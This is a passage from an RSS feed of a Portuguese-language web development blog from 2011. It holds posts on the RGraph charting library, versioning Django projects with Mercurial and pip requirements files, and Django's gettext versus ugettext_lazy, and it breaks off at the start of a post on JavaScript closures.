&lt;iframe src=&quot;//www.slideshare.net/slideshow/embed_code/key/cBrSaB767SSlID&quot; width=&quot;595&quot; height=&quot;485&quot; frameborder=&quot;0&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; scrolling=&quot;no&quot; allowfullscreen&gt; &lt;/iframe&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Voltei para casa, com aquele sentimento de um grande dia. Posso resumir
assim esta edição do &lt;em&gt;Front in Rio 2011&lt;/em&gt; (e olha que tinham &lt;a href=&quot;http://www.frontinrio.com.br/&quot; title=&quot;Confira a grade completa do Front in Rio 2011&quot;&gt;mais
palestras para assistir!&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Agora é esperar até o ano que vem, e quem sabe, deixar de ser somente um
“consumidor”.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Gráficos estatísticos em Canvas com RGraph]]></title><description><![CDATA[O RGraph é uma fantástica lib Javascript, que gera
gráficos estatísticos em Canvas de uma forma extremamente simples
e direta. Sinceramente…]]></description><link>https://klauslaube.com.br/2011/06/12/graficos-estatisticos-em-canvas-rgraph.html</link><guid isPermaLink="false">https://klauslaube.com.br/2011/06/12/graficos-estatisticos-em-canvas-rgraph.html</guid><pubDate>Sun, 12 Jun 2011 21:38:00 GMT</pubDate><content:encoded>&lt;p&gt;O &lt;a href=&quot;http://www.rgraph.net/&quot; title=&quot;RGraph: HTML5 canvas graph library based on the HTML5 canvas tag&quot;&gt;&lt;em&gt;RGraph&lt;/em&gt;&lt;/a&gt; é uma fantástica &lt;em&gt;lib&lt;/em&gt; &lt;a href=&quot;/tag/javascript.html&quot; title=&quot;Leia mais sobre Javascript&quot;&gt;&lt;em&gt;Javascript&lt;/em&gt;&lt;/a&gt;, que gera
gráficos estatísticos em &lt;a href=&quot;/tag/html5.html&quot; title=&quot;Leia mais sobre HTML5&quot;&gt;&lt;em&gt;Canvas&lt;/em&gt;&lt;/a&gt; de uma forma extremamente simples
e direta. Sinceramente, foi uma das &lt;em&gt;libs&lt;/em&gt; mais eficazes que já usei
para criar representações visuais de relatórios.&lt;/p&gt;
&lt;p&gt;Por criar gráficos em &lt;em&gt;Canvas&lt;/em&gt;, podemos interagir com os elementos
através do &lt;em&gt;Javascript&lt;/em&gt;. Isso permite que nossos sistemas fiquem muito
mais dinâmicos (e ainda por cima, garante que nossos clientes vejam
representações visuais dos números da sua empresa em seu &lt;em&gt;iPad&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;Contamos com os seguintes tipos de gráficos:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Barra (&lt;a href=&quot;http://www.rgraph.net/examples/hbar.html&quot; title=&quot;Veja exemplo de gráfico de barra horizontal&quot;&gt;horizontal&lt;/a&gt; e &lt;a href=&quot;http://www.rgraph.net/examples/bar.html&quot; title=&quot;Veja exemplo de gráfico de barra vertical&quot;&gt;vertical&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Barra de progresso (&lt;a href=&quot;http://www.rgraph.net/examples/hprogress.html&quot; title=&quot;Veja exemplo de barra de progresso horizontal&quot;&gt;horizontal&lt;/a&gt; e &lt;a href=&quot;http://www.rgraph.net/examples/vprogress.html&quot; title=&quot;Veja exemplo de barra de progresso vertical&quot;&gt;vertical&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.rgraph.net/examples/bipolar.html&quot; title=&quot;Veja exemplo de gráfico bipolar&quot;&gt;Bi-polar&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.rgraph.net/examples/donut.html&quot; title=&quot;Veja exemplo de gráfico de donut&quot;&gt;&lt;em&gt;Donut&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.rgraph.net/examples/funnel.html&quot; title=&quot;Veja exemplo de gráfico de funil&quot;&gt;Funil&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.rgraph.net/examples/line.html&quot; title=&quot;Veja exemplo de gráfico de linha&quot;&gt;Linha&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.rgraph.net/examples/odo.html&quot; title=&quot;Veja exemplo de gráfico de odômetro&quot;&gt;Odômetro&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.rgraph.net/examples/pie.html&quot; title=&quot;Veja exemplo de gráfico em pizza&quot;&gt;&lt;em&gt;Pizza&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.rgraph.net/examples/tradar.html&quot; title=&quot;Veja exemplo de gráfico em forma de radar&quot;&gt;Radar&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.rgraph.net/examples/rose.html&quot; title=&quot;Veja exemplo de gráfico de rosa&quot;&gt;Rosa&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.rgraph.net/examples/thermometer.html&quot; title=&quot;Veja exemplo de gráfico em forma de termometro&quot;&gt;Termometro&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Entre outros…&lt;/p&gt;
&lt;p&gt;O &lt;em&gt;RGraph&lt;/em&gt; é gratuito para uso não comercial. Se você está disposto a
utilizá-lo em uma aplicação comercial, eu recomendo a sua compra.
Utilizamos na &lt;a href=&quot;http://www.setinet.com.br/&quot; title=&quot;Seti - Internet Controlada&quot;&gt;&lt;em&gt;Seti&lt;/em&gt;&lt;/a&gt; com muito sucesso esta poderosa ferramenta.&lt;/p&gt;
&lt;p&gt;E você? Conhece alguma outra &lt;em&gt;lib&lt;/em&gt; para criar dados estatísticos?
Conte-nos através dos comentários abaixo.&lt;/p&gt;
&lt;p&gt;Até a próxima…&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Como versionar projetos Django com o Mercurial - Parte 3]]></title><description><![CDATA[Dando continuidade a micro-série Como versionar projetos \Django_ com o
Mercurial (confira a parte 1 e a parte 2), vamos finalizar com
um…]]></description><link>https://klauslaube.com.br/2011/06/04/como-versionar-projetos-django-mercurial-parte-3.html</link><guid isPermaLink="false">https://klauslaube.com.br/2011/06/04/como-versionar-projetos-django-mercurial-parte-3.html</guid><pubDate>Sat, 04 Jun 2011 10:27:00 GMT</pubDate><content:encoded>&lt;p&gt;Dando continuidade a micro-série &lt;em&gt;Como versionar projetos \&lt;/em&gt;Django_ com o
&lt;em&gt;Mercurial&lt;/em&gt; (confira a &lt;a href=&quot;/2011/05/10/como-versionar-projetos-django-mercurial-parte.html&quot;&gt;parte 1&lt;/a&gt; e a &lt;a href=&quot;/2011/05/22/como-versionar-projetos-django-mercurial-parte-2.html&quot; title=&quot;Como versionar projetos Django com o Mercurial - Parte 2&quot;&gt;parte 2&lt;/a&gt;), vamos finalizar com
um exemplo prático de um projeto &lt;a href=&quot;/tag/django.html&quot; title=&quot;Leia mais sobre Django&quot;&gt;&lt;em&gt;Django&lt;/em&gt;&lt;/a&gt; usando o &lt;a href=&quot;/tag/mercurial.html&quot; title=&quot;Leia mais sobre Mercurial&quot;&gt;&lt;em&gt;Mercurial&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Começando…&lt;/h2&gt;
&lt;p&gt;Vamos reutilizar a estrutura dos &lt;em&gt;posts&lt;/em&gt; anteriores. Para isso, inicie
um projeto com o &lt;a href=&quot;/tag/virtualenv.html&quot; title=&quot;Leia mais sobre virtualenv&quot;&gt;&lt;em&gt;virtualenv&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ cd ~/Projetos/
$ virtualenv DjangoComHG --no-site-packages
$ cd DjangoComHG/&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Vamos aproveitar os procedimentos descritos na [parte 2][1] deste
&lt;em&gt;post&lt;/em&gt;. Caso você ainda não tenha criado um repositório no
&lt;a href=&quot;http://www.bitbucket.org/&quot; title=&quot;Versione e compartilhe código com o Mercurial&quot;&gt;&lt;em&gt;Bitbucket&lt;/em&gt;&lt;/a&gt;, essa é uma boa oportunidade.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ hg clone &amp;lt;caminho&gt; django_com_hg&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Não esqueça de mudar o &lt;strong&gt;caminho&lt;/strong&gt; para o &lt;strong&gt;endereço do seu
repositório&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;Instalando o Django&lt;/h2&gt;
&lt;p&gt;Com o &lt;em&gt;virtualenv&lt;/em&gt; ativado, vamos instalar o &lt;em&gt;Django&lt;/em&gt; apenas para o
nosso ambiente &lt;em&gt;virtual&lt;/em&gt; através do &lt;em&gt;pip&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ source bin/activate
$ pip install django&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Só para ter certeza que ele instalou o &lt;em&gt;Django&lt;/em&gt; dentro do nosso ambiente
virtual, vamos abrir o terminal do &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt; e digitar as seguintes
instruções:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; django
django&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;__path__&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Você deverá obter como resposta uma &lt;em&gt;string&lt;/em&gt; semelhante a esta:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$HOME/Projetos/DjangoComHG/lib/python2.6/site-packages/django/&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;Iniciando um projeto&lt;/h2&gt;
&lt;p&gt;Vamos fazer uma pequena brincadeira de troca de nomes de pastas, para
que possamos criar o nosso projeto &lt;em&gt;Django&lt;/em&gt; com o mesmo nome do
repositório &lt;em&gt;Mercurial&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ mv post_django_com_hg post_django_com_hg.bk&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Agora mandamos o &lt;code class=&quot;language-text&quot;&gt;django-admin.py&lt;/code&gt; iniciar o projeto:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ django-admin.py startproject post_django_com_hg&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Movemos os arquivos do nosso repositório para dentro de
&lt;code class=&quot;language-text&quot;&gt;post_django_com_hg&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ mv post_django_com_hg.bk/* post_django_com_hg/
$ mv post_django_com_hg.bk/.hg post_django_com_hg/
$ mv post_django_com_hg.bk/.hgignore post_django_com_hg/&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Entre no diretório &lt;code class=&quot;language-text&quot;&gt;post_django_com_hg&lt;/code&gt; e dê um &lt;code class=&quot;language-text&quot;&gt;hg status&lt;/code&gt;. Os
arquivos base do &lt;em&gt;Django&lt;/em&gt; não estão no projeto. Vamos adicioná-los,
comitá-los e dar um &lt;code class=&quot;language-text&quot;&gt;push&lt;/code&gt; deles para o repositório &lt;em&gt;Mercurial&lt;/em&gt; no
&lt;em&gt;Bitbucket&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ hg add .
$ hg commit -m &quot;Projeto Django iniciado&quot;
$ hg push&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Nos &lt;em&gt;changesets&lt;/em&gt; do repositório, veremos a contribuição enviada:&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 568px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/c95e7c18e4f018ee5ab9d63faa63a129/10e91/changesets-no-bitbucket.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 29.166666666666668%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAIAAABM9SnKAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAyUlEQVQY03WPyXLDIBBE+f+fyyknp+LIElpZJFYJGJxOfHF5eXRRdNX0MMP6SXx8fjXdlFI6XkGJUqIdxAiLspyhTERM6g3JbTOQfyRYZ87yJNezNco7hyKt9TgLiKgw3rbNpRuFFtpcn6BKal+OrK61wOJnH4LQVq4WlnV8PH03SilrrTH2meCjc+H2ds5hnhgCbkzO5kU23bDIbZiVDxGb5FzuyTgFayYqBWEp1Q+f2mGptbK+vfSc69Xcku+p/33RJO3HnxD+BT9ZWF52uq1AAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Changeset no BitBucket&amp;quot;&quot;
        title=&quot;Changeset no BitBucket&quot;
        src=&quot;/static/c95e7c18e4f018ee5ab9d63faa63a129/10e91/changesets-no-bitbucket.png&quot;
        srcset=&quot;/static/c95e7c18e4f018ee5ab9d63faa63a129/8514f/changesets-no-bitbucket.png 192w,
/static/c95e7c18e4f018ee5ab9d63faa63a129/804b2/changesets-no-bitbucket.png 384w,
/static/c95e7c18e4f018ee5ab9d63faa63a129/10e91/changesets-no-bitbucket.png 568w&quot;
        sizes=&quot;(max-width: 568px) 100vw, 568px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Changeset no BitBucket&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Pronto!&lt;/strong&gt; Basicamente, para termos o &lt;em&gt;Mercurial&lt;/em&gt; versionando um
projeto &lt;em&gt;Django&lt;/em&gt;, são estes os procedimentos… mas eu sei como deixar a
coisa ainda mais interessante&lt;/p&gt;
&lt;h2&gt;Hora de congelar!&lt;/h2&gt;
&lt;p&gt;Digamos que você tenha um colaborador envolvido com o projeto. Quer
dizer que ele vai ter que criar um &lt;em&gt;virtualenv&lt;/em&gt;, clonar o repositório e
instalar as dependências do projeto? A resposta é “sim” – Mas podemos
facilitar esta última parte através do &lt;em&gt;pip&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pip freeze

Django==1.3
wsgiref==0.1.2&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O comando &lt;code class=&quot;language-text&quot;&gt;pip freeze&lt;/code&gt; vai coletar os pacotes &lt;em&gt;Python&lt;/em&gt; instalados
(nesse nosso caso, dentro do nosso ambiente virtual através do
&lt;em&gt;virtualenv&lt;/em&gt;) e exibir para a gente em formato de lista. Com isso,
podemos criar um arquivo que armazene as dependências do nosso projeto:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pip freeze &gt; requirements.txt&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Vamos desativar o ambiente atual, criar um novo e instalar as
dependências listadas nesta arquivo &lt;code class=&quot;language-text&quot;&gt;requirements.txt&lt;/code&gt; neste novo
ambiente:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ deactivate
$ cd ~/Projetos/
$ virtualenv DjangoComHG-2 --no-site-packages
$ source DjangoComHG-2/bin/activate
$ pip install -r DjangoComHG/post_django_com_hg/requirements.txt&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Veja a mágica acontecendo… o &lt;em&gt;pip&lt;/em&gt; instalará todas as dependências
contidas em &lt;code class=&quot;language-text&quot;&gt;requirements.txt&lt;/code&gt; em nosso novo ambiente virtual.&lt;/p&gt;
&lt;p&gt;Podemos resumir os comandos acima em:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pip install -E DjangoComHG-2 -r DjangoComHG/post_django_com_hg/requirements.txt&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;A instrução acima deverá ser escrita em um linha só.&lt;/p&gt;
&lt;h2&gt;Versionando dependências do projeto&lt;/h2&gt;
&lt;p&gt;Logo o &lt;code class=&quot;language-text&quot;&gt;requirements.txt&lt;/code&gt; sendo um arquivo de texto, pode ser
facilmente versionado pelo &lt;em&gt;Mercurial&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ cd ~/Projetos/DjangoComHG/post_django_com_hg
$ hg add requirements.txt
$ hg commit -m &quot;Adicionado arquivo de dependências do pip&quot;
$ hg push&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Finalmente, temos um projeto &lt;em&gt;Django&lt;/em&gt; versionado com &lt;em&gt;Mercurial&lt;/em&gt;,
disponível no &lt;em&gt;Bitbucket&lt;/em&gt;, e com dependências facilmente gerenciáveis
através do &lt;em&gt;pip&lt;/em&gt; em conjunto com o &lt;em&gt;virtualenv&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;E você… utiliza controle de versão com o &lt;em&gt;Django&lt;/em&gt; de uma outra forma?
Conte-nos através dos comentários abaixo.&lt;/p&gt;
&lt;p&gt;Até a próxima…&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Quando usar gettext e gettext_lazy?]]></title><description><![CDATA[Para vocês que desenvolvem em Python e Django preocupando-se
com internacionalização, já devem ter feito a seguinte pergunta: Quando
usar  e…]]></description><link>https://klauslaube.com.br/2011/06/01/quando-usar-gettext-gettext_lazy.html</link><guid isPermaLink="false">https://klauslaube.com.br/2011/06/01/quando-usar-gettext-gettext_lazy.html</guid><pubDate>Wed, 01 Jun 2011 09:41:00 GMT</pubDate><content:encoded>&lt;p&gt;Para vocês que desenvolvem em &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt; e &lt;a href=&quot;/tag/django.html&quot; title=&quot;Leia mais sobre Django&quot;&gt;&lt;em&gt;Django&lt;/em&gt;&lt;/a&gt; preocupando-se
com internacionalização, já devem ter feito a seguinte pergunta: Quando
usar &lt;code class=&quot;language-text&quot;&gt;gettext&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;gettext_lazy&lt;/code&gt;?&lt;/p&gt;
&lt;p&gt;Acredito que antes de responder esta pergunta, temos que responder outra
questão pertinente: Devo utilizar &lt;code class=&quot;language-text&quot;&gt;gettext&lt;/code&gt; ou &lt;code class=&quot;language-text&quot;&gt;ugettext&lt;/code&gt;?&lt;/p&gt;
&lt;h2&gt;gettext vs ugettext&lt;/h2&gt;
&lt;p&gt;Essas duas funções seguem o mesmo princípio dos métodos mágicos
&lt;code class=&quot;language-text&quot;&gt;__str__&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;__unicode__&lt;/code&gt;. Onde &lt;code class=&quot;language-text&quot;&gt;gettext&lt;/code&gt; retornará um texto traduzido
como uma &lt;em&gt;string&lt;/em&gt; “comum”, e &lt;code class=&quot;language-text&quot;&gt;ugettext&lt;/code&gt; retornará um texto traduzido
como uma &lt;em&gt;string&lt;/em&gt; &lt;em&gt;Unicode&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Como nosso idioma nativo abusa do uso de caracteres especiais, aconselho
sempre que possível a utilização do &lt;code class=&quot;language-text&quot;&gt;ugettext&lt;/code&gt;. Na verdade, é uma
forma de garantir sucesso na tradução de qualquer idioma sem quebrar a
cabeça com &lt;em&gt;encoding&lt;/em&gt; (já que o &lt;em&gt;Unicode&lt;/em&gt; tem uma ampla tabela de
caracteres).&lt;/p&gt;
&lt;p&gt;Além disso, passe a mensagem como &lt;em&gt;Unicode&lt;/em&gt; para a função sempre que
necessário:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;texto_traduzido &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; ugettext&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;u&apos;Descrição do produto em estoque&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;ugettext vs ugettext_lazy&lt;/h2&gt;
&lt;p&gt;A principal diferença entre &lt;code class=&quot;language-text&quot;&gt;ugettext&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;ugettext_lazy&lt;/code&gt; é que o
último é literalmente um preguiçoso. Ele faz uma referência para a
&lt;em&gt;string&lt;/em&gt; (e não necessariamente para a tradução), fazendo com que a
operação seja executada apenas quando a renderização da &lt;em&gt;string&lt;/em&gt; é
necessária (ao contrário de &lt;code class=&quot;language-text&quot;&gt;ugettext&lt;/code&gt; que é processado assim que a
expressão é interpretada).&lt;/p&gt;
&lt;p&gt;Confuso? Talvez o &lt;a href=&quot;http://www.aprendendodjango.com/o-mesmo-site-em-varios-idiomas/&quot; title=&quot;Aprendendo Django no Planeta Terra - O mesmo site em vários idiomas&quot;&gt;&lt;em&gt;Marinho Brandão&lt;/em&gt;&lt;/a&gt; possa ser mais claro:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A função “&lt;strong&gt;ugettext_lazy()&lt;/strong&gt;“ é &lt;strong&gt;preguiçosa&lt;/strong&gt;. Isso significa que a
tradução é feita somente quando ela é requisitada, o que é&lt;br&gt;
relativamente melhor para o caso de classes de modelo, pois elas&lt;br&gt;
são constantemente utilizadas sem que a tradução de um termo seja&lt;br&gt;
necessário de fato.&lt;/p&gt;
&lt;p&gt;Por outro lado a função “&lt;strong&gt;ugettext()&lt;/strong&gt;“ traduz a string&lt;br&gt;
&lt;strong&gt;instantaneamente&lt;/strong&gt;, o que é melhor para casos como o de formulários&lt;br&gt;
dinâmicos e views, pois eles não são usados de maneira tão constante&lt;br&gt;
quanto classes de modelo.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Então… utilize &lt;code class=&quot;language-text&quot;&gt;ugettext_lazy&lt;/code&gt; nos campos e meta-informações dos
modelos (onde a tradução pode ser feita sob demanda), e &lt;code class=&quot;language-text&quot;&gt;ugettext&lt;/code&gt; em
métodos, funções e views (onde a tradução tem quer ser “instantânea”).&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://docs.python.org/library/gettext.html&quot; title=&quot;gettext - Multilingual internationalization services&quot;&gt;&lt;em&gt;Python Documentation – gettext&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.djangoproject.com/en/dev/topics/i18n/internationalization/#lazy-translation&quot; title=&quot;Django Docs - Lazy Translation&quot;&gt;&lt;em&gt;Django Documentation – Internationalization&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.djangobook.com/en/1.0/chapter18/&quot; title=&quot;The Django Book - i18n&quot;&gt;&lt;em&gt;The Django Book – Internationalization&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.aprendendodjango.com/o-mesmo-site-em-varios-idiomas/&quot; title=&quot;Aprendendo Django - O mesmo site em vários idiomas&quot;&gt;Aprendendo &lt;em&gt;Django&lt;/em&gt; no Planeta Terra – O mesmo &lt;em&gt;site&lt;/em&gt; em vários idiomas&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Até a próxima…&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Afinal, o que são Closures?]]></title><description><![CDATA[Sabem aqueles conceitos, que a gente sempre utiliza e chega alguém com
um nome “pomposo” para a parada (que você nunca ouviu falar)? Isso…]]></description><link>https://klauslaube.com.br/2011/05/29/afinal-o-que-sao-closures.html</link><guid isPermaLink="false">https://klauslaube.com.br/2011/05/29/afinal-o-que-sao-closures.html</guid><pubDate>Sun, 29 May 2011 13:52:00 GMT</pubDate><content:encoded>&lt;p&gt;Sabem aqueles conceitos, que a gente sempre utiliza e chega alguém com
um nome “pomposo” para a parada (que você nunca ouviu falar)? Isso
aconteceu comigo com &lt;em&gt;closures&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;What (the hell) are closures?&lt;/h2&gt;
&lt;p&gt;Entendi o conceito de &lt;em&gt;closures&lt;/em&gt; enquanto estudava &lt;em&gt;Ruby&lt;/em&gt;. Na verdade,
fica a dica… se você quer aprender &lt;a href=&quot;/tag/oop.html&quot; title=&quot;Leia mais sobre Orientação a Objetos&quot;&gt;Orientação a Objetos&lt;/a&gt;, aprenda
linguagens dinâmicas como &lt;em&gt;Ruby&lt;/em&gt;, &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt; e até mesmo &lt;a href=&quot;/tag/php.html&quot; title=&quot;Leia mais sobre PHP&quot;&gt;&lt;em&gt;PHP&lt;/em&gt;&lt;/a&gt;.
Depois parta para linguagens mais “hardcore” como &lt;em&gt;Java&lt;/em&gt; e &lt;em&gt;C++&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Vamos deixar a &lt;a href=&quot;http://pt.wikipedia.org/wiki/Closure&quot; title=&quot;Leia sobre closure no Wikipedia&quot;&gt;&lt;em&gt;Wikipedia&lt;/em&gt;&lt;/a&gt; nos explicar o que é uma &lt;em&gt;closure&lt;/em&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Uma closure ocorre normalmente quando uma função é declarada dentro do
corpo de outra, e a função interior referencia variáveis locais da
função exterior. Em tempo de execução, quando a função exterior é
executada, então uma closure é formada, que consiste do código da
função interior e referências para quaisquer variáveis no escopo da
função exterior que a closure necessita.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Ok… sou a favor das pessoas que dizem que é difícil compreender alguns
conceitos apenas por parágrafos formados por palavras bem escritas.
Vamos ao exemplo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;token function-variable function&quot;&gt;digaSeuNome&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;nome&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
